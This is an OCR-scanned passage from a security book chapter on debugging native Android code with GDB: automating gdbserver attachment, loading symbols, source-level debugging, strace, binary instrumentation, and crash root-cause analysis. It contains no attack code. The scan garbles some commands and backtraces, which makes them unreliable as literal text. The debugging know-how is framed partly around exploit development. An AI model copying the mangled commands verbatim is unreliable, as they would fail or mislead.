The final phase in the process is connecting the GDB client to the GDB server 
that is listening on the device. AOSP includes a fully functioning GDB client. 
Newer revisions of AOSP even include Python support in the included GDB 
client. You spawn and connect the client as shown here: 

dev: ~/android/source $ arm-eabi-gdb -q 

(gdb) target remote : 31337 

Remote debugging using :31337 

Remote debugging from host 127.0.0.1 

0x4011d408 in ?? () 

(gdb) back 

#0 =0x4011d408 in ?? () 

#1 0x400dlfcc in ?? () 

#2 0x400dlfcc in ?? () 

Backtrace stopped: previous frame identical to this frame (corrupt 

stack?) 

(gdb) 


After executing the client, instruct it to connect to the waiting GDB server using 
thet arget remote command. The argument to this command corresponds to 
the port that you previously forwarded using ADB when setting up the envi- 
ronment. Note that the GDB client defaults to using the local loopback interface 
when the IP address is omitted. From here, you have full access to the target 
process. You can set breakpoints, inspect registers, inspect memory, and more. 


Using the gdbclient Command 


The AOSP build environment event defines a bash built-in command, 
gdbclient, for automating much of the process covered earlier. It can forward 
ports, spawn a GDB server, and connect the GDB client automatically. Based 
on the requirement that the gdbser ver binary is on the device and in the ADB 
user’s execution path, it is likely intended to be used with a device running an 
eng build. You can view the full definition of this built-in by using the follow- 
ing shell command: 

dev: ~/android/source $ declare -f gdbclient 

gdbclient () 


{ 
[ss] 


The entirety of the command was omitted for brevity. You are encouraged 
to follow along using your own build environment. 

The first thing that gdbcli ent does is query the Android build system to 
identify details defined during the environment initialization process detailed 
earlier. This includes paths and variables such as the target architecture. Next, 
gdbclient attempts to determine how it was invoked. It can be started with 
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zero, one, two, or three arguments. The first argument is the name of a binary 
within the / syst em/bin directory. The second argument is the port number to 
forward, prefixed by a colon character. These first two arguments simply over- 
ride the defaults of app_process and: 5039, respectively. 

The third argument specifies the process ID or command name to which 
it will attach. If the third argument is a command name, gdbcl i ent attempts 
to resolve the process ID of that command on the target device using the pi d 
built-in. When the third argument is successfully processed, gdbcl i ent uses 
ADB to automatically forward a port to the device and attaches the gdbs er ver 
binary to the target process. If the third argument is omitted, the onus is on the 
user to spawn a GDB server. 

Next, gdbcl i ent generates a GDB script much like the ndk- gdb script does. 
It sets up some symbol-related GDB variables and instructs the GDB client to 
connect to the waiting GDB server. However, there are two big differences from 
the ndk- gdb script. First, gdbcli ent depends on symbols from a custom build 
rather than pulling binaries from the target device. If no custom build was done, 
gdbclient is unlikely to work. Second, gdbcl i ent does not allow the user to 
specify any additional commands or scripts for the GDB client to execute. The 
inflexibility and assumptions made by the gdbcl i ent built-in make it difficult 
to use, especially in advanced debugging scenarios. Although it may be possible 
to work around some of these issues by redefining the gdbwrapper built-in or 
creating a custom . gdbi nit file, these options were not explored and are instead 
left as an exercise to the reader. 


Increasing Automation 


Debugging an application like the Android browser can be very time consuming. 
When developing exploits, reverse-engineering, or digging deep into a prob- 
lem, there are a few small things that can help a lot. Automating the process of 
spawning the GDB server and client helps streamline the debugging experience. 
Using the methods outlined in this section also enables automating project- 
specific actions, which in this demonstration apply directly to debugging the 
Android browser. You might notice that these methods are quite similar to those 
employed in Chapter 6, but they aim to improve productivity for a researcher 
instead of fully automating testing. The goal is to automate as many mundane 
tasks as possible while still giving the researcher room to apply their expertise. 


Automating On-Device Tasks 


In many scenarios, such as developing an exploit, it is necessary to engage ina 
large number of debugging sessions. Unfortunately, in attach mode, gdbser ver 
exits after the debugging session completes. In these situations, it helps to use 
a couple small shell scripts to automate the process of repeatedly attaching. 
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The first step is to create the following small shell script on the host and make 
it executable. 


dev: ~/android/source $ cat > debugging.sh 


#!/ bin/sh 
while true; do 
sleep 4 
adb shell ‘su -c /data/local/tmp/attach.sh' >> adb.log 2>&1 
done 
^D 


dev: ~/android/source $ chmod 755 debugging. sh 
dev: ~/android/source $ 


Running this in the background on the host ensures that agdbserver instance 
is re-spawned on the device four seconds after it exits. The delay is to give the 
target process time to clear out from the system. Though this could also be 
accomplished with a shell script on the device itself, running it on the host helps 
prevent accidentally exposing the gdbserver endpoint to untrusted networks. 

Next, create the / dat a/!ocal/tmp/attach.sh shell script on the device and 
make it executable. 


shell @maguro:/data/local/tmp $ cat > attach.sh 
#!/system/ bin/sh 


# start the browser 
am start -a android.intent.action. VIEW -d about:blank \ 
com. google. android. browser 


# wait for it to start 
sleep 2 


# attach gdbserver 

cd /data/local/tmp 

PI D=". /busybox pidof com google.android. browser’ # requires busybox 
./gdbserver --attach tcp:31337 $PID 

“D 

shel! @maguro:/data/local/tmp $ chmod 755 attach.sh 

shel! @maguro:/data/local/tmp $ 


This script handles starting the browser, obtaining its process ID, and attach- 
ing the GDB server to it. With the two scripts in place, simply execute the first 
script in the background on the host. 


dev: ~/android/source $ ./debugging.sh & 
[1] 28994 


Using these two small scripts eliminates unnecessarily switching windows 
to re-spawn gdbs er ver . This enables the researcher to focus on the task at hand, 
using the GDB client to debug the target process. 
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Automating GDB Client 


Automating the GDB client helps further streamline the analysis process. All 
modern GDB clients support a custom scripting language specific to GDB. 
Newer versions of the AOSP GDB client include support for Python scripting 
as well. This section uses GDB scripting to automate the process of connecting 
to a waiting gdbserver process. 

For simply attaching to the remote GDB server, it suffices to use the GDB cli- 
ent’s - ex switch. This option enables the researcher to specify a single command 
to run after the GDB client starts. The following excerpt shows how you use 
this to attach to your waiting GDB server using thet ar get remote command: 

dev: ~/android/source $ arm-eabi-gdb -q -ex "target remote : 31337" 

Remote debugging using : 31337 

Remote debugging from host 127.0.0.1 

Ox40lb5ee4 in ?? () 

(gdb) 


Sometimes, as you will see in the following sections, it’s necessary to auto- 
matically execute several GDB client commands. Although it is possible to use 
the - ex switch multiple times on one command line, another method is more 
suitable. In addition to - ex, the GDB client also supports the - x switch. Using 
this switch, a researcher places the commands they switch to use into a file 
and passes the filename as the argument following the - x switch. You saw this 
feature used in the “Debugging with the NDK” section earlier in this chapter. 
Also, GDB reads and executes commands froma file called. gdbi ni t in the cur- 
rent directory by default. Placing the script commands into this file alleviates 
the need for specifying any extra switches to GDB at all. 

Regardless of which method you use, scripting GDB is extremely helpful in 
automating debugging sessions. Using GDB scripts allows setting up complex, 
project-specific actions such as custom tracing, interdependent breakpoints, and 
more. More advanced scripting is covered in the sections covering vulnerability 
analysis later in this chapter. 


Debugging with Symbols 


Above all else, symbols are the most helpful pieces of information when debug- 
ging native code. They encapsulate information that is useful for a human and 
tie it to the code locations in a binary. Recall that symbols for ARM binaries are 
also used to convey processor mode information to the debugger. Debugging 
without symbols, which is covered further in the “Debugging with a Non-AOSP 
Device” section, can be a terribly painful experience. Whether they are pres- 
ent or must be custom built, always seek out and utilize symbols. This section 
discusses the nuances of the symbols and provides guidance for how best to 
utilize symbols when debugging native code on Android. 
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The binaries on an Android device contain differing levels of symbolic informa- 
tion. This varies from device to device as well as among the individual binaries 
on a single device. Production devices, such as those sold by mobile carriers, 
often do not include any symbols in their binaries. Some devices, including 
Nexus devices, have many binaries that contain partial symbols. This is typical 
of a device using auserdebug oreng build of Android. Partial symbols provide 
some humanly identifiable information, such as function names, but do not 
provide file or line number information. Finally, binaries with full symbols 
contain extensive information to assist a human who is debugging the code. Full 
symbols include file and line number information, which can be used to enable 
source-level debugging. In short, difficulties encountered while debugging native 
code on Android are inversely proportionate to the level of symbols present. 


Obtaining Symbols 


Several vendors in the software industry, such as Microsoft and Mozilla, provide 
symbols to the public via symbol servers. However, no vendors in the Android 
world provide symbols for their builds. In fact, obtaining symbols for Android 
builds typically requires building them from source, which in turn requires a 
fairly beefy build machine. With the exception of a rare engineering build leak 
or the partial symbols present on Nexus devices, custom builds are the only 
way to obtain symbols. 

Thankfully, it is possible to build an entire device image for AOSP-supported 
devices. As part of the build process, files containing symbolic information 
are created in parallel to the release files. Because some binaries containing 
symbols are very large, flashing them to a device would quickly exhaust the 
available space of the system. For example, the WebKit library | i bwebcore. so 
with symbols is in excess of 450 megabytes. When remote debugging, you can 
utilize these large files with symbols in conjunction with the binaries without 
symbols that are running on the device. 

In addition to building a full device image, it is also possible to build individual 
components. Taking this route speeds build time and makes the debugging pro- 
cess more efficient. Using either the make command or the mm built-in from the 
build system, you can build only the components that you need. Dependencies 
are built automatically as well. From the top-level AOSP directory, execute make 
or mm with the first argument specifying the desired component. To find a list 
of component names use the following command: 


dev: ~/android/source $ find . -name Android.mk -print -exec grep \ 
“'LOCAL_MODULE ' {} \; 

[ewe 

-fexternal/webkit/ Android. mk 

LOCAL_MODULE := li bwebcore 

[eww 
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This outputs the path for each Android. mk file, along with any modules defined 
by it. As you can see from the excerpt, the | i bwebcor e module is defined in the 
external/webkit/ Android. mk file. Therefore, running mm |i bwebcore builds 
the desired component. The build system writes the file containing symbols to 
system/lib/libwebcore.so inside the out/target/product/ maguro/symbols 
directory. The magur o portion of the path is specific to the target device. Building 
for a different device would use the name of that product instead, such as mak o 
for a Nexus 4. 


Making Use of Symbols 


After you've obtained symbols, either using the process just described or via 
other means, putting them to use is the next step. Whether you use gdbcli ent, 
the ndk- gdb script, or GDB directly, it is possible to get your newly acquired 
symbols loaded for a much-improved debugging experience. Although the 
process varies slightly for each method, the underlying GDB client is what 
ultimately loads and displays the symbols in all cases. Here we explain how 
to get each of these methods to use the symbols you built and discuss ways to 
improve symbol loading further. 

The gdbclient built-in provided by AOSP automatically uses symbols if 
they’ve been built. It obtains the path to the built symbols using the Android 
build system and instructs the GDB client to look there. Unfortunately, g d b - 
client uses symbols for all modules present, which is nearly all modules in a 
default build. Due to the sheer size of modules with symbols, this can be quite 
slow. It is rarely necessary to load the symbols for all modules. 

When debugging with the NDK alone, the ndk- gdb script also supports loading 
symbols automatically. Unlike the gdbclient built-in, the ndk- gdb script pulls 
theapp_process,linker,andli bc. so files directly from the target device itself. 
Recall that these binaries typically have only partial symbols. One would think 
that replacing these files with custom-built binaries with full symbols would 
improve the situation. Unfortunately, ndk- gdb overwrites the existing files if 
they already exist. To avoid this behavior, simply comment out the lines start- 
ing withrun adb_cmd pull. After doing so,ndk- gdb uses the binaries with full 
symbols. Because only a few files with symbols are present, using ndk- gdb is 
generally quite fast compared to using gdbcli ent . Still, we prefer to have more 
control over exactly which symbols are loaded. 

As discussed in depth in the “Debugging with AOSP” and “Increasing 
Automation” sections earlier in this chapter, invoking the AOSP GDB client 
directly is our preferred method for debugging native code. Using this method 
provides the most control over what happens, both on the target device and 
within the GDB client itself. It also allows managing project-specific configu- 
ration details that are useful when engaging in several different debugging 
projects simultaneously. The rest of this section outlines how to set up such an 
environment and create an optimized Android browser debugging experience. 
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The first step to creating an optimized, project-specific debugging environ- 
ment is creating a directory to hold your project specific data. For the purposes 
of this demonstration, create the gn- browser -dbg directory inside the AOSP 
root directory: 


dev: ~/android/source $ mkdir -p gn-browser-dbg && cd $_ 
dev: gn-browser-dbg $ 


Next, create symbolic links to the modules for which you want to load symbols. 
Rather than use the entire symbols directory, as the gdbclient built-in does, 
use the current directory combined with these symbolic links. Loading all of 
the symbols is wasteful, time consuming, and often unnecessary. Although 
storing the symbol files on a blazing fast SSD or RAM drive helps, it’s only a 
marginal improvement. To speed the process, you want to load symbols for a 
limited set of modules: 


dev: gn-browser-dbg 
dev: gn-browser-dbg 
dev: gn-browser-dbg 
dev: gn- browser-dbg 
dev: gn- browser-dbg 
dev: gn- browser-dbg 
dev: gn- browser-dbg 
dev: gn- browser-dbg 
dev: gn- browser-dbg 


s ../out/target/product/ maguro/symbols 
s symbols/system/bin/linker 
s symbols/system/bin/app_process 
s symbols/system/lib/libc.so 
-s symbols/system/lib/!ibwebcore.so 
s symbols/system/lib/libstdc++.so 
s symbols/system/lib/libdvm. so 
s symbols/system/lib/libutils.so 
s symbols/system/lib/libandroid_runtime.so 


tA tA tA tt tt 


53 3 53 3 5 3 3 3 53 


Here you first create a symbolic link to the symbols directory itself. Then 
you create symbolic links from within it for the core system files as well as 
|i bwebcore.so (WebKit), | i bst dc++. so, andl ibdvm. so (the Dalvik VM). 

With your directory and symbolic links created, the next step is to create 
the GDB script. This script serves as the basis for your debugging project and 
enables you to include more advanced scripts directly inside. You only need 
two commands to get started: 

dev: gn-browser-dbg $ cat > script. gdb 

# tell gdb where to find symbols 

set solib-search-path 

target remote 127.0.0.1:31337 

^D 

dev: gn-browser-dbg $ 

The first command, as the comment indicates, tells the GDB client to look in 
the current directory for files with symbols. The GDB server indicates which 
modules are loaded and the GDB client loads modules accordingly. The second 
command should be familiar. It instructs the GDB client where to find the wait- 
ing GDB server. 

Finally, you are ready to run everything to see how well it works. The next 
excerpt shows this minimal debug configuration in action. 


dev: gn- browser-db 
Reading symbols f 
warning: Could no 
$0. 
Use the "info sha 
Do you need "set 

warning: Breakpoi 


epoll_wait () at 
10 mo v 
gdb) back 


#0 epoll_ wait () 
#1 0x400dlfcc in 
i meout Millis=<op 
out> 


at frameworks 
#2 0x400d21f0 in 
meoutMillis=-1, 
outFd=0x0, outEve 
at frameworks 
#3 0x40209c68 in 
his=<optimized o 
#4 android::Nati 
i meout Millis=<op 
at frameworks 
#5 0x4099bc50 in 
#6 0x409cbed2 in 
met hod=0x57b57860 


#71 0x409a5064 in 
dal vik/vm/ mterp/o 
#8 0x409a95f0 in 
pResult =Oxbec947d 
#9 = 0x409dele2 in 
argLlist=<opti mize 
returnType=0x 
dal vik/vm/interp/ 
#10 0x409e5de2 in 
(args=<opti mized 
out>, pResult=0x4 
at dal vik/vm/ 
#11 0x409a5064 in 
dal vik/vm/ mterp/o 
#12 0x409a95f0 in 
pResult =0xbec9496 
at dalvik/vminte 
#13 0x409ddf24 in 


pResult =Oxbec 
#14 0x409c7b6a in 
jclazz=<opti mized 
out >, method! D=0x 


at dalvik/vm/Jni.cpp: 2122 


#15 0x401ed698 in 
cl azz=<opti mized 
at |i bnativeh 
#16 Ox40lee32a in 
className=0x4000d 
opti ons=<opti 


at dalvik/vm/)ni.cpp: 1185 
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g $ arm-eabi-gdb -q -x script.gdb app_process 
rom /android/source/gn-browser-dbg/app_process... done. 
t load shared library symbols for 86 libraries, e.g. libm 


redlibrary" command to see the complete listing. 
solib-search-path" or "set sysroot"? 
nt address adjusted from 0x40079b79 to 0x40079b78 
bionic/libc/arch-arm/syscalls/epoll _wait.$:10 

r7, ip 


at bionic/libc/arch-arm/syscalls/epoll _wait.$:10 
android::Looper::polllnner (this=0x415874c8 
timized 


/native/libs/utils/Looper.cpp: 218 
android::Looper:: poll Once (this=0x415874c8 


nts=0x0, outData=0x0 
/native/libs/utils/Looper. cpp: 189 
poll Once (timeout Millis=<optimized out> 
ut>) at frameworks/native/include/utils/Looper.h:176 
veMessageQueue:: poll Once (this=0x417fdb10, env=0x416d1d90 
timized out> 
/base/core/jni/android_os_ MessageQueue. cpp: 97 
dvmPl atformlnvoke () at dalvik/vm/arch/arm/ Call EABI.$:258 
dvmCallJNl Method (args=0x579f9e18, pResul t =0x417841d0 
, self =0x417841c0) 


dalvik_mterp () a 
ut/InterpAsm-armv7-a-neon. $: 16240 

dvminterpret (self =0x417841c0, met hod=0x57b679b8 
dalvik/vm/interp/Interp. cpp: 1956 

dymi nvokeMethod (obj =<opti mized out>, met hod=0x57b679b8 
d out>, params=<optimized out> 

418292a8, noAccessCheck=false) at 

Stack. cpp: 737 
Dalvik_java_lang_reflect_Method_invokeNative 


0 


o% 


17841d0) 
native/java_lang_reflect_Method.cpp:101 
dalvik_mterp () at 


ut/InterpAsm-armv7-a-neon. $: 16240 

dvminterpret (self =0x417841c0, met hod=0x57b5cc30 
0) 
rp/Interp.cpp: 1956 

dvmCall MethodV (self =0x417841c0, method=0x57b5cc30 


obj =<optimized out>, from ni =<opti mized out> 


94960, args=...) at dalvik/vm/interp/Stack. cpp: 526 
Call StaticVoidMethodV (env=<optimized out> 


57b5cc30, args=<optimized out >) 


_JNLEnvi: Call StaticVoidMethod (this=<optimized out> 
out>, methodi D=0x57b5cc30) 
elper/include/nativehelper/jni.h: 780 

android::AndroidRuntime::start (this=<optimized out> 
3a4 "com.android.internal.os.Zygotelnit", 
mized out>) a rameworks/base/core/jni/AndroidRunti me. 
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cpp: 884 

#17 0x4000d05e in main (argc=4, argv=0xbec94b38) at 
frameworks/base/cmds/app_process/app_main.cpp: 231 
(gdb) 


It takes quite a while to load the symbols from |i bwebcore. so because it is 
so large. Using an SSD or a RAM disk helps tremendously. As seen from the 
preceding excerpt, full symbols are being used. Function names, source files, 
line numbers, and even function arguments are displayed. 


Debugging at Source Level 


The holy grail of interactive debugging is being able to work at the source level. 
Thankfully this is possible by using an AOSP checkout and an AOSP-supported 
Nexus device. If you follow the steps outlined in the previous sections from 
start to finish, the custom-built binaries that contain symbols will already enable 
source-level debugging. Seeing this in action is as simple as executing a few 
commands inside the GDB client, as shown in the following excerpt: 


# after attaching, as before 
epoll_ wait () at bionic/libc/arch-arm/syscalls/epoll _wait.$:10 
10 mov r7, ip 
(gdb) list 
5 
6 ENTRY(epoll wait 
7 mov ip, TI 
8 ldr r7, =__NR_epoll_wait 
9 swi #0 
10 mov r7, ip 
11 cmn r0, #(MAX_ERRNO + 1) 
12 bxls lr 
13 neg rd, ro 
14 b __set_errno 
gdb) up 
#1 0x400d1fcc in android::Looper::polllnner (this=0x41591308 
imeoutMillis=<opti mized out >) 
at frameworks/native/libs/utils/Looper.cpp: 218 
218 int eventCount = epoll_wait(mEpoll fd, eventitems, EPOLL_MAX_ 
EVENTS, 
imeout Millis); 
gdb) list 
213 int result = ALOOPER_POLL_ WAKE 
214 mResponses.clear(); 
215 mResponselndex = 0; 
216 
217 struct epoll_event eventltems[EPOLL_MAX_EVENTS] 
218 int eventCount = epoll_wait(mEpoll fd, eventitems, EPOLL_MAX_ 
EVENTS, 
timeout Millis); 
219 
220 [I Acquire lock. 
221 mLock.|ock(); 
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(gdb) 


Here you are able to see both assembly and C++ source code for two frames 
in the call stack after you attach. GDB’s | i st command shows the 10 lines 
surrounding the code location corresponding to that frame. The up command 
moves upward through the call stack (to calling frames), and the down command 
moves downward. 

If the symbols were built on a different machine or the source code had been 
moved since building the symbols, the source code may not display. Instead, an 
error message such as that in the following excerpt is shown: 


(gdb) up 
#1 O0x400d1fcc in android::Looper::polllnner (this=0x415874c8 
timeout Millis=<optimized out >) 
at frameworks/native/libs/utils/Looper.cpp: 218 
218 frameworks/native/libs/utils/Looper.cpp: No such file or directory 


in frameworks/native/libs/utils/Looper.cpp 
(gdb) 


To remedy this situation, create symbolic links to the location on the file system 
where the source resides. The following excerpt shows the necessary commands: 
dev: gn-browser-dbg $ In -s ~/android/source/ bi onic 


dev: gn-browser-dbg $ In -s ~/android/source/dalvik 
dev: gn-browser-dbg $ In -s ~/android/source/externa 


With this done, source-level debugging should be restored. At this point you 
are able to view source code inside GDB, create breakpoints based on source 
locations, display structures in prettified form, and more. 

(gdb) break 'WebCore::RenderObj ect::layoutl fNeeded()' 
Breakpoint 1 at Ox5d3a3e44: file 
external /webkit/Source/WebCore/rendering/RenderObject.h, line 524, 


(gdb) cont 
Continuing. 


Whenever the browser renders a page, this breakpoint is hit. From that con- 
text, you can inspect the state of the Render Obj ect and begin to deduce what 
is happening. These objects are discussed more in Chapter 8. 


Debugging with a Non-AOSP Device 


On occasion, it is necessary to debug code running on a device that is not sup- 
ported by AOSP. Perhaps the buggy code is not present on any AOSP-supported 
devices or differs from that found in AOSP. The latter is often the case when 
dealing with devices sold directly by original equipment manufacturers (OEMs) 
or carriers. The modifications made within the OEM’s development ranks may 
introduce issues not present in AOSP. Unfortunately, debugging on these devices 
is far more troublesome. 


241 


242 


Chapter 7 = Debugging and Analyzing Vulnerabilities 


There are several challenges that present themselves when one tries to debug 
on these devices. Most of these challenges are hinged on two main issues. 
First, it can be difficult to know exactly which toolchain was used to build the 
device. OEMs may opt to use commercial toolchains, ancient versions of public 
toolchains, or even custom modified toolchains. Even after successfully deter- 
mining which toolchain was used, it may not be possible to obtain it. Using the 
correct toolchain is important because some toolchains are not compatible with 
each other. Differences in GDB protocol support, for example, could cause the 
GDB client to encounter errors or even crash. Second, non-AOSP devices rarely 
contain any type of symbols, and building them yourself without access to the 
full build environment is impossible. In addition to function name, source file, 
and line number information being unavailable, the important ARM-specific 
symbols that indicate processor mode will be missing. This makes it difficult 
to determine which processor mode a particular code location is in, which in 
turn leads to problems setting breakpoints and examining call stacks. 

The overall workflow for debugging a non-Nexus device is quite similar to 
that of a Nexus device. Following the steps in the “Debugging with AOSP” 
section earlier in this chapter should produce the desired result. 

Accomplishing the first step of finding a GDB server and GDB client that 
will work can be difficult in itself. It may require experimenting with several 
different versions of these programs. If you are able to determine the toolchain 
used to build the device's binaries, using the GDB server and client from that 
toolchain is likely to produce the best results. After this step is accomplished, 
you can forge ahead bravely. 

Without symbols, GDB has no way of knowing which areas of binaries are 
Thumb code and which are ARM code. Therefore, it cannot automatically deter- 
mine how to disassemble or set breakpoints. You can work around this problem 
by using static analysis tools to reverse-engineer the code. Also, GDB provides 
access to the Current Program Status Register (CPSR) register. Checking the fifth 
bit in this register indicates whether the processor is in ARM mode or Thumb 
mode. Once you determine that the debugger is in a Thumb mode function, use 
theset armfallback- mode orset arm force- mode commands with a value of 
thumb. This tells GDB how to treat the function. When setting breakpoints in a 
Thumb function, always add one to the address. This tells GDB that the address 
refers to a Thumb instruction, which will change how it inserts breakpoints. 

It’s also possible to use the CPSR register directly to set breakpoints, as shown 
here: 


(gdb) break 0x400c0e88 + (($cpsr>>5) &1) 
Take care when using this method because there is no guarantee that the target 


function executes in the same mode as the context your debugger is currently 
in. In any case, you have a 50 percent chance of being correct. If the breakpoint 
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is not hit or the target process encounters an error after setting your breakpoint, 
chances are the breakpoint was created in the wrong mode. 

Even armed (no pun intended) with these techniques, debugging non-AOSP 
devices is still unpredictable. Your mileage may vary. 


Debugging Mixed Code 


The Android operating system is an amalgamation of native and Dalvik code. 
Within the Android framework, many code paths traverse from Dalvik code into 
native code. Some code even calls back into the Dalvik VM from native code. 
Seeing and being able to step through the entire code path can be especially 
useful when debugging mixed code. In particular, viewing the call stack in its 
entirety is very helpful. 

Thankfully, debugging both Dalvik and native code inside Eclipse works fairly 
well. There are some occasional hiccups, but it is possible to place breakpoints 
in both types of code. When either kind of breakpoint is reached, Eclipse cor- 
rectly pauses execution and provides an interactive debugging experience. To 
achieve mixed code debugging, combine all of the techniques presented in the 
“Debugging Dalvik Code” and “Debugging Native Code” sections earlier in 
the chapter. Be sure to use the Android Native Application debugging profile 
when launching your debug session from within Eclipse. 


Alternative Debugging Techniques 


Although interactive methods are best method for tracing data flow or confirm- 
ing hypotheses, several other methods can replace or augment the debugging 
process. Inserting debugging statements into source code is one popular way 
to spot-check code coverage or trace variable contents. Debugging on the device 
itself, whether using a custom debugger or GDB binary built for ARM, also has 
its place. Finally, sensitive timing issues may bring the need to employ advanced 
techniques like instrumentation. This section discusses the advantages and 
disadvantages of these methods. 


Debug Statements 


One of the oldest methods for debugging a program includes inserting debug 
statements directly into the source code. This works for both Dalvik and native 
C/C++ code. Unfortunately, this technique is not applicable when source code is 
not available. Even when source code is handy, this method requires rebuilding 
and redeploying the resulting binary onto the device. In some cases, a reboot 
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may be required to reload the target code. Also, extra porting effort may be 
necessary when migrating debug statements to new versions of the source code. 
Although these disadvantages amount to a high up-front cost, the debug state- 
ments themselves have very little runtime cost. Additionally, inserting debug 
statements is a great way to concretely tie the source code to what is happening 
at runtime. All in all, this tried-and-true method is a viable option for tracking 
down bugs and making sense of a program. 


On-Device Debugging 


Although remote debugging is the de facto standard for debugging embed- 
ded devices like Android phones, on-device methods can avoid some of the 
pitfalls involved. For one, remote debugging can be significantly slower than 
debugging on the device itself. This is due to the fact that every debug event 
requires a round trip from the device to the host machine debugger and back 
again. Remote debugging can be especially slow for conditional breakpoints, 
which use an extra round trip to determine if the condition is satisfied. Also, 
debugging on the device itself alleviates the need for a host computer in some 
cases. There are a variety of ways that one can do debugging on-device. This 
section presents a few such methods. 


strace 


Thest race utility can be a godsend when you're trying to debug odd behaviors. 
This tool provides tracing capabilities at the system-call level, which explains its 
name. Debugging at this level lets you easily see from where unexplained “no 
such file or directory” errors are stemming. It’s also useful to see exactly what 
system calls are executed leading up to a crash. Thest race tool supports start- 
ing new processes as well as attaching to existing ones. Attaching to existing 
processes can be especially useful for seeing where a process may be hung or 
confirming that network or Interprocess Communication (IPC) communications 
are indeed occurring. 

The st race tool is included in AOSP and is compiled as part of auserdebug 
build. However, the tool is not part of the default installation image in this 
configuration. To push the binary to your device, execute something similar 
to the following: 
dev: ~/android/source $ adb push \ 
out/target/product/maguro/obj/EXECUTABLES/strace_intermedi ates/ LI NKED/ 
strace \ 


/data/local/tmp/ 
656 KB/s (625148 bytes in 0. 929s) 


This example is from our build environment for the Galaxy Nexus. This 
binary should be usable on just about any ARMv7 capable device. 
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Custom GDB Builds 


Being able to run GDB natively on an Android device would be ideal. Unfortunately, 
GDB doesn’t directly support Android and porting GDB to work on Android 
natively is not straightforward. Several individuals have tried to create a native 
Android GDB binary. Some have even declared success. For one, Alfredo Ortega 
hosts binaries for versions 6.7 and 6.8 of GDB on his site athttps://sites 
.google.com/site/ortegaalfredo/ android. Another method involves follow- 
ing the instructions for using Debootstrap from the Debian Project at ht tps: // 
wiki. debian. org/Chroot OnAndroi d. Unfortunately, both of these GDB binaries 
lack support for Android’s thread implementation and only debug the main 
thread of processes. 


Keg] When using the Debootstrap version of GDB, follow the instructions for run- 
ning binaries inside the chroot from outside using! d. 50.Also,add/system/|ib to 
the beginning of LD_LIBRARY_PATH to fix symbol resolution. 


Writing a Custom Debugger 


All the tools for debugging native code described in this chapter are built upon 
the ptrace API. The pt race API is a standard Unix API for debugging processes. 
As this API is implemented as a system call in the Linux kernel, it is present 
on nearly all Linux systems. Only in rare circumstances, such as some Google 
TV devices, is ptrace disabled. Using this API directly enables researchers to 
develop powerful custom debuggers that do not depend on GDB being pres- 
ent. For example, several of the tools created by authors of this book depend 
on pt race. These tools run directly on devices and often execute much quicker 
than GDB (even on-device GDB). 


Dynamic Binary Instrumentation 


Even when debuggers are working at their best, they can introduce issues. Using 
a large number of tracing breakpoints can make the debugging experience 
painfully slow. Putting breakpoints on time-critical areas of code can influence 
program behavior and complicate exploit development. This is where another 
excellent technique comes into play. 

Dynamic Binary Instrumentation (DBI) is a method by which additional code is 
inserted into a program’s normal flow. This technique is also commonly called 
hooking. The general process starts by crafting some custom code and injecting 
it into the target process. Like breakpoints, DBI involves overwriting interest- 
ing code locations. However, instead of inserting a breakpoint instruction, DBI 
inserts instructions to redirect the execution flow into the injected custom code. 
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Using this method greatly increases performance by eliminating unnecessary 
context switches. Further, the injected custom code has direct access to the 
process’s memory, eliminating the need to suffer additional context switches 
to obtain memory contents (as with pt race). 


kee DBI is a powerful technique that has uses beyond debugging. It can also be 
used to hot-patch vulnerabilities, extend functionality, expose new interfaces into 
existing code for testing purposes, and more. 


Several tools written by authors of this book utilize DBI in conjunction with 
the pt race API. Collin Mulliner’s Android Dynamic Binary Instrumentation 
Toolkit (adbi) and Georg Wicherski’s AndroProbe both use pt race to inject cus- 
tom code, albeit for different purposes. Collin’s toolkit can be found at htt ps:// 
github.com/crmulliner/adbi. 


Vulnerability Analysis 


In information security, the term vulnerability analysis is generally defined as 
an organized effort to discover, classify, and understand potentially dangerous 
issues in systems. By this definition, vulnerability analysis encompasses almost 
the entire information security industry. Breaking this topic down further, there 
are many different techniques and processes that researchers and analysts apply 
to reach their ultimate goal of understanding weaknesses. Whether individual 
goals are defensive or offensive in nature, the steps to get there are very similar. 

The rest of this chapter focuses on one small area of vulnerability analysis; 
analyzing crashes that result from memory corruption vulnerabilities. Further, 
this section uses the debugging techniques presented in this chapter to bridge 
the gap between Chapter 6 and Chapter 8. As a result of this type of analysis, 
researchers gain a deep understanding of the underlying vulnerability, includ- 
ing its cause and potential impact. 

The task of analyzing memory corruption vulnerabilities, whether for reme- 
diation or exploitation, can be challenging. When executing this task, there 
are two primary goals; determining the root cause and judging exploitability. 


Determining Root Cause 


Faced with a potentially exploitable memory corruption vulnerability, the first 
goal is to determine the root cause of the bug. Like other information security 
concepts, there are several levels of specificity when discussing root cause. For 
the purposes of crash analysis, we consider the root cause to be the first occur- 
rence of ill behavior that results in a vulnerable condition. 
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Keg] There are many different types of memory corruption that can result from 
undefined behavior. MITRE’s Common Weakness Enumeration (CWE) project cata- 
logs this type of information and much more athttp://cwe. mitre. org/data/ 
index. html. 


These ill behaviors are often due to a concept born in programming language 
specifications, undefined behavior. This term refers to any behaviors that are not 
defined by the specification due to differences in low-level architectures, memory 
models, or corner cases. The C and C++ programming language specifications 
define a multitude of behaviors as undefined. In theory, undefined behavior 
could result in just about anything happening. Examples include correct behav- 
ior, intentionally crashing, and subtle memory corruption. These behaviors 
represent a very interesting area for researchers to study. 

Correctly determining the root cause of a vulnerability is perhaps the most 
important task in vulnerability analysis. For defenders, failing to correctly iden- 
tify and understand root cause may lead to an insufficient fix for the issue. For 
attackers, understanding the root cause is only the first step in a lengthy process. 
If either party wants to prioritize a particular issue according to exploitability, 
a proper root cause analysis is essential. Thankfully, there are many tricks of 
the trade and helpful tools that can assist in accomplishing this goal. 


Tips and Tricks 


There are many tips and tricks to learn to be great at getting to the root causes 
of vulnerabilities. We present only a few such techniques here. The exact tech- 
niques that apply depend highly on how the ill behavior was discovered. Fuzzing 
lends itself to reducing and comparing inputs. Operating systems, including 
Android, contain facilities to assist debugging. Debuggers are a crucial piece; 
use their features to your full advantage. In the end, the root cause lies in the 
code itself. These techniques help make the process of isolating that code loca- 
tion quicker and easier. 


Comparing and Minimizing Inputs 
Recall that fuzzing boils down to automatically generating and testing inputs. 
The bulk of the challenge begins after an input that causes ill behavior is found. 
Analyzing the input itself provides immense insight into what is going wrong. 
With mutation fuzzing in particular, comparing the mutated input to the 
original input reveals the exact changes made. For example, consider an input 
from a file format fuzzing session where only one byte is changed. A simple 
differential analysis of the two files might show which byte was changed and 
